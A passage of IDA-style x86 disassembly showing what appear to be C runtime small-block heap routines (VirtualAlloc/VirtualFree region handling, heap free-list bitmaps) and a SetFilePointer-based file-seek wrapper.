		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_417052
		mov	cl, [edx+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	edx, 20h
		mov	[edx+eax+4], cl
		jnb	short loc_417029
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_417018
		mov	ecx, edx
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_417018:				; CODE XREF: sub_416E4A+1BEj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_417052
; ---------------------------------------------------------------------------


loc_417029:				; CODE XREF: sub_416E4A+1B8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41703F
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41703F:				; CODE XREF: sub_416E4A+1E3j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_417052:				; CODE XREF: sub_416E4A+182j
					; sub_416E4A+1A6j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_417159
		mov	eax, dword_424D08
		test	eax, eax
		jz	loc_41714B
		mov	ecx, dword_424EC0
		mov	esi, dword_41C0F0
		push	4000h
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_424EC0
		mov	eax, dword_424D08
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_424D08
		mov	eax, [eax+10h]
		mov	ecx, dword_424EC0
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_424D08
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_424D08
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_4170E0
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_424D08


loc_4170E0:				; CODE XREF: sub_416E4A+28Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41714B
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_424D08
		push	dword ptr [eax+10h]
		push	0
		push	dword_42487C
		call	dword_41C12C	; RtlFreeHeap
		mov	ecx, dword_424EAC
		mov	eax, dword_424D08
		imul	ecx, 14h
		mov	edx, dword_424EB0
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_410C50
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_424EAC
		cmp	eax, dword_424D08
		jbe	short loc_417141
		sub	[ebp+arg_0], 14h


loc_417141:				; CODE XREF: sub_416E4A+2F1j
		mov	eax, dword_424EB0
		mov	dword_424EB8, eax


loc_41714B:				; CODE XREF: sub_416E4A+223j
					; sub_416E4A+29Aj
		mov	eax, [ebp+arg_0]
		mov	dword_424D08, eax
		mov	dword_424EC0, edi


loc_417159:				; CODE XREF: sub_416E4A+216j
		pop	ebx


loc_41715A:				; CODE XREF: sub_416E4A+37j
		pop	edi
		pop	esi
		leave
		retn
sub_416E4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41715E	proc near		; CODE XREF: sub_4175F3+C0p
		mov	eax, dword_424EBC
		push	esi
		mov	esi, dword_424EAC
		push	edi
		xor	edi, edi
		cmp	esi, eax
		jnz	short loc_4171A5
		add	eax, 10h
		imul	eax, 14h
		push	eax
		push	dword_424EB0
		push	edi
		push	dword_42487C
		call	dword_41C04C	; RtlReAllocateHeap
		cmp	eax, edi
		jnz	short loc_417193


loc_41718F:				; CODE XREF: sub_41715E+68j
					; sub_41715E+94j
		xor	eax, eax
		jmp	short loc_41720B
; ---------------------------------------------------------------------------


loc_417193:				; CODE XREF: sub_41715E+2Fj
		add	dword_424EBC, 10h
		mov	esi, dword_424EAC
		mov	dword_424EB0, eax


loc_4171A5:				; CODE XREF: sub_41715E+11j
		imul	esi, 14h
		add	esi, dword_424EB0
		push	41C4h
		push	8
		push	dword_42487C
		call	dword_41C130	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41718F
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_41C050	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_4171F4
		push	dword ptr [esi+10h]
		push	edi
		push	dword_42487C
		call	dword_41C12C	; RtlFreeHeap
		jmp	short loc_41718F
; ---------------------------------------------------------------------------


loc_4171F4:				; CODE XREF: sub_41715E+82j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_424EAC
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41720B:				; CODE XREF: sub_41715E+33j
		pop	edi
		pop	esi
		retn
sub_41715E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41720E	proc near		; CODE XREF: sub_4175F3+D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+8]
		push	ebx
		push	esi
		mov	esi, [ecx+10h]
		push	edi
		xor	ebx, ebx
		jmp	short loc_417226
; ---------------------------------------------------------------------------


loc_417223:				; CODE XREF: sub_41720E+1Aj
		add	eax, eax
		inc	ebx


loc_417226:				; CODE XREF: sub_41720E+13j
		test	eax, eax
		jge	short loc_417223
		mov	eax, ebx
		imul	eax, 204h
		lea	eax, [eax+esi+144h]
		push	3Fh
		mov	[ebp+var_8], eax
		pop	edx


loc_41723F:				; CODE XREF: sub_41720E+3Bj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41723F
		push	4
		mov	edi, ebx
		push	1000h
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	8000h
		push	edi
		call	dword_41C050	; VirtualAlloc
		test	eax, eax
		jnz	short loc_417272
		or	eax, 0FFFFFFFFh
		jmp	loc_41730F
; ---------------------------------------------------------------------------


loc_417272:				; CODE XREF: sub_41720E+5Aj
		lea	edx, [edi+7000h]
		cmp	edi, edx
		mov	[ebp+var_4], edx
		ja	short loc_4172C2
		mov	ecx, edx
		sub	ecx, edi
		shr	ecx, 0Ch
		lea	eax, [edi+10h]
		inc	ecx


loc_41728A:				; CODE XREF: sub_41720E+AFj
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	edx, [eax+0FFCh]
		mov	[eax], edx
		lea	edx, [eax-1004h]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax+4], edx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		dec	ecx
		jnz	short loc_41728A
		mov	edx, [ebp+var_4]


loc_4172C2:				; CODE XREF: sub_41720E+6Fj
		mov	eax, [ebp+var_8]
		add	eax, 1F8h
		lea	ecx, [edi+0Ch]
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		xor	edi, edi
		inc	edi
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_4172FF
		or	[eax+4], edi


loc_4172FF:				; CODE XREF: sub_41720E+ECj
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41730F:				; CODE XREF: sub_41720E+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41720E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417314	proc near		; CODE XREF: sub_417E83+77p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		sub	edx, [ecx+0Ch]
		add	esi, 17h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		and	esi, 0FFFFFFF0h
		dec	ecx
		cmp	esi, ecx
		lea	edi, [ecx+edi-4]
		mov	ebx, [edi]
		mov	[ebp+arg_8], ecx
		mov	[ebp+var_4], ebx
		jle	loc_4174B6
		test	bl, 1
		jnz	loc_4174AF
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_4174AF
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_417389
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_417389:				; CODE XREF: sub_417314+6Dj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_4173D4
		cmp	ecx, 20h
		mov	ebx, 80000000h
		jnb	short loc_4173B5
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4173D4
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4173D4
; ---------------------------------------------------------------------------


loc_4173B5:				; CODE XREF: sub_417314+85j
		add	ecx, 0FFFFFFE0h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4173D4
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4173D4:				; CODE XREF: sub_417314+7Bj
					; sub_417314+98j ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41749D
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		lea	ecx, [ecx+esi-4]
		jbe	short loc_41740E
		push	3Fh
		pop	edi


loc_41740E:				; CODE XREF: sub_417314+F5j
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41748B
		mov	cl, [edi+eax+4]
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		cmp	edi, 20h
		mov	[edi+eax+4], cl
		jnb	short loc_417462
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41745A
		mov	ecx, edi
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41745A:				; CODE XREF: sub_417314+136j
		lea	eax, [eax+edx*4+44h]
		mov	ecx, edi
		jmp	short loc_417482
; ---------------------------------------------------------------------------


loc_417462:				; CODE XREF: sub_417314+130j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_417478
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_417478:				; CODE XREF: sub_417314+152j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]


loc_417482:				; CODE XREF: sub_417314+14Cj
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx


loc_41748B:				; CODE XREF: sub_417314+11Ej
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_4174A0
; ---------------------------------------------------------------------------


loc_41749D:				; CODE XREF: sub_417314+DEj
		mov	edx, [ebp+arg_4]


loc_4174A0:				; CODE XREF: sub_417314+187j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_4175EB
; ---------------------------------------------------------------------------


loc_4174AF:				; CODE XREF: sub_417314+50j
					; sub_417314+5Aj
		xor	eax, eax
		jmp	loc_4175EE
; ---------------------------------------------------------------------------


loc_4174B6:				; CODE XREF: sub_417314+47j
		jge	loc_4175EB
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+arg_4], ebx
		mov	[ebx-4], ecx
		jbe	short loc_4174E1
		push	3Fh
		pop	esi


loc_4174E1:				; CODE XREF: sub_417314+1C8j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41756B
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4174FA
		push	3Fh
		pop	esi


loc_4174FA:				; CODE XREF: sub_417314+1E1j
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_417544
		cmp	esi, 20h
		mov	ebx, 80000000h
		jnb	short loc_417525
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_417541
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_417541
; ---------------------------------------------------------------------------


loc_417525:				; CODE XREF: sub_417314+1F6j
		lea	ecx, [esi-20h]
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_417541
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_417541:				; CODE XREF: sub_417314+208j
					; sub_417314+20Fj ...
		mov	ebx, [ebp+arg_4]


loc_417544:				; CODE XREF: sub_417314+1ECj
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	esi, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41756B
		push	3Fh
		pop	esi


loc_41756B:				; CODE XREF: sub_417314+1D1j
					; sub_417314+252j
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[ebx+8], ecx
		mov	[ebx+4], edi
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4175E2
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jnb	short loc_4175B9
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4175B1
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_4175B1:				; CODE XREF: sub_417314+28Dj
		lea	eax, [eax+edx*4+44h]
		mov	ecx, esi
		jmp	short loc_4175D9
; ---------------------------------------------------------------------------


loc_4175B9:				; CODE XREF: sub_417314+287j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4175CF
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_4175CF:				; CODE XREF: sub_417314+2A9j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]


loc_4175D9:				; CODE XREF: sub_417314+2A3j
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx


loc_4175E2:				; CODE XREF: sub_417314+275j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_4175EB:				; CODE XREF: sub_417314+196j
					; sub_417314:loc_4174B6j
		xor	eax, eax
		inc	eax


loc_4175EE:				; CODE XREF: sub_417314+19Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417314	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175F3	proc near		; CODE XREF: sub_41101A+28p
					; sub_417D65+88p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_424EAC
		mov	ecx, [ebp+arg_0]
		imul	eax, 14h
		add	eax, dword_424EB0
		add	ecx, 17h
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		push	ebx
		dec	ecx
		cmp	ecx, 20h
		push	esi
		push	edi
		jge	short loc_41762A
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_417637
; ---------------------------------------------------------------------------


loc_41762A:				; CODE XREF: sub_4175F3+2Aj
		add	ecx, 0FFFFFFE0h
		or	edx, 0FFFFFFFFh
		xor	esi, esi
		shr	edx, cl
		mov	[ebp+var_8], edx


loc_417637:				; CODE XREF: sub_4175F3+35j
		mov	ecx, dword_424EB8
		mov	ebx, ecx
		jmp	short loc_417652
; ---------------------------------------------------------------------------


loc_417641:				; CODE XREF: sub_4175F3+64j
		mov	edx, [ebx+4]
		mov	edi, [ebx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_417659
		add	ebx, 14h


loc_417652:				; CODE XREF: sub_4175F3+4Cj
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_417641


loc_417659:				; CODE XREF: sub_4175F3+5Aj
		cmp	ebx, eax
		jnz	short loc_4176DC
		mov	ebx, dword_424EB0
		jmp	short loc_417676
; ---------------------------------------------------------------------------


loc_417665:				; CODE XREF: sub_4175F3+88j
		mov	edx, [ebx+4]
		mov	edi, [ebx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_41767D
		add	ebx, 14h


loc_417676:				; CODE XREF: sub_4175F3+70j
		cmp	ebx, ecx
		mov	[ebp+arg_0], ebx
		jb	short loc_417665


loc_41767D:				; CODE XREF: sub_4175F3+7Ej
		cmp	ebx, ecx
		jnz	short loc_4176DC
		jmp	short loc_41768F
; ---------------------------------------------------------------------------


loc_417683:				; CODE XREF: sub_4175F3+9Ej
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_417693
		add	ebx, 14h
		mov	[ebp+arg_0], ebx


loc_41768F:				; CODE XREF: sub_4175F3+8Ej
		cmp	ebx, eax
		jb	short loc_417683


loc_417693:				; CODE XREF: sub_4175F3+94j
		cmp	ebx, eax
		jnz	short loc_4176C8
		mov	ebx, dword_424EB0
		jmp	short loc_4176A8
; ---------------------------------------------------------------------------


loc_41769F:				; CODE XREF: sub_4175F3+BAj
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4176AF
		add	ebx, 14h


loc_4176A8:				; CODE XREF: sub_4175F3+AAj
		cmp	ebx, ecx
		mov	[ebp+arg_0], ebx
		jb	short loc_41769F


loc_4176AF:				; CODE XREF: sub_4175F3+B0j
		cmp	ebx, ecx
		jnz	short loc_4176C8
		call	sub_41715E
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jnz	short loc_4176C8


loc_4176C1:				; CODE XREF: sub_4175F3+E7j
		xor	eax, eax
		jmp	loc_4178D1
; ---------------------------------------------------------------------------


loc_4176C8:				; CODE XREF: sub_4175F3+A2j
					; sub_4175F3+BEj ...
		push	ebx
		call	sub_41720E
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_4176C1


loc_4176DC:				; CODE XREF: sub_4175F3+68j
					; sub_4175F3+8Cj
		mov	dword_424EB8, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_417703
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41772C


loc_417703:				; CODE XREF: sub_4175F3+FAj
		and	[ebp+var_4], 0
		mov	edx, [eax+0C4h]
		lea	ecx, [eax+44h]


loc_417710:				; CODE XREF: sub_4175F3+134j
		mov	edi, [ecx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_417729
		inc	[ebp+var_4]
		mov	edx, [ecx+84h]
		add	ecx, 4
		jmp	short loc_417710
; ---------------------------------------------------------------------------


loc_417729:				; CODE XREF: sub_4175F3+126j
		mov	edx, [ebp+var_4]


loc_41772C:				; CODE XREF: sub_4175F3+10Ej
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		xor	edi, edi
		and	ecx, esi
		jnz	short loc_41775A
		mov	ecx, [eax+edx*4+0C4h]
		and	ecx, [ebp+var_8]
		push	20h
		pop	edi
		jmp	short loc_41775A
; ---------------------------------------------------------------------------


loc_417757:				; CODE XREF: sub_4175F3+169j
		add	ecx, ecx
		inc	edi


loc_41775A:				; CODE XREF: sub_4175F3+153j
					; sub_4175F3+162j
		test	ecx, ecx
		jge	short loc_417757
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+var_8], ecx
		jle	short loc_41777B
		push	3Fh
		pop	esi


loc_41777B:				; CODE XREF: sub_4175F3+183j
		cmp	esi, edi
		jz	loc_417884
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4177E7
		cmp	edi, 20h
		mov	ebx, 80000000h
		jge	short loc_4177BB
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_4177E4
		mov	ecx, [ebp+var_14]
		mov	ebx, [ebp+arg_0]
		and	[ebx], ecx
		jmp	short loc_4177E7
; ---------------------------------------------------------------------------


loc_4177BB:				; CODE XREF: sub_4175F3+1A0j
		lea	ecx, [edi-20h]
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [eax+ecx*4+0C4h]
		lea	edi, [eax+edi+4]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_4177E4
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_4177E7
; ---------------------------------------------------------------------------


loc_4177E4:				; CODE XREF: sub_4175F3+1BCj
					; sub_4175F3+1E4j
		mov	ebx, [ebp+arg_0]


loc_4177E7:				; CODE XREF: sub_4175F3+196j
					; sub_4175F3+1C6j ...
		cmp	[ebp+var_8], 0
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_417890
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[edx+8], ecx
		mov	[edx+4], edi
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_417881
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_0+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jge	short loc_417858
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_417846
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_417846:				; CODE XREF: sub_4175F3+246j
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_417881
; ---------------------------------------------------------------------------


loc_417858:				; CODE XREF: sub_4175F3+240j
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41786B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41786B:				; CODE XREF: sub_4175F3+269j
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_417881:				; CODE XREF: sub_4175F3+22Ej
					; sub_4175F3+263j
		mov	ecx, [ebp+var_8]


loc_417884:				; CODE XREF: sub_4175F3+18Aj
		test	ecx, ecx
		jz	short loc_417893
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_417893
; ---------------------------------------------------------------------------


loc_417890:				; CODE XREF: sub_4175F3+20Aj
		mov	ecx, [ebp+var_8]


loc_417893:				; CODE XREF: sub_4175F3+293j
					; sub_4175F3+29Bj
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_4178C9
		cmp	ebx, dword_424D08
		jnz	short loc_4178C9
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_424EC0
		jnz	short loc_4178C9
		and	dword_424D08, 0


loc_4178C9:				; CODE XREF: sub_4175F3+2BAj
					; sub_4175F3+2C2j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_4178D1:				; CODE XREF: sub_4175F3+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178D6	proc near		; CODE XREF: sub_41440F+DEp
					; sub_417959+CDp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		call	sub_419E05
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41790B
		call	sub_40F79E
		mov	dword ptr [eax], 9


loc_417905:				; CODE XREF: sub_4178D6+5Ej
		mov	eax, edi
		mov	edx, edi
		jmp	short loc_417955
; ---------------------------------------------------------------------------


loc_41790B:				; CODE XREF: sub_4178D6+22j
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	[ebp+var_8]
		push	eax
		call	dword_41C048	; SetFilePointer
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jnz	short loc_417936
		call	dword_41C0A4	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_417936
		push	eax
		call	sub_40F7C4
		pop	ecx
		jmp	short loc_417905
; ---------------------------------------------------------------------------


loc_417936:				; CODE XREF: sub_4178D6+4Bj
					; sub_4178D6+55j
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_424EE0[eax*4]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FDh
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]


loc_417955:				; CODE XREF: sub_4178D6+33j
		pop	edi
		pop	esi
		leave
		retn
sub_4178D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417959	proc near		; CODE XREF: sub_4111BA+116p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
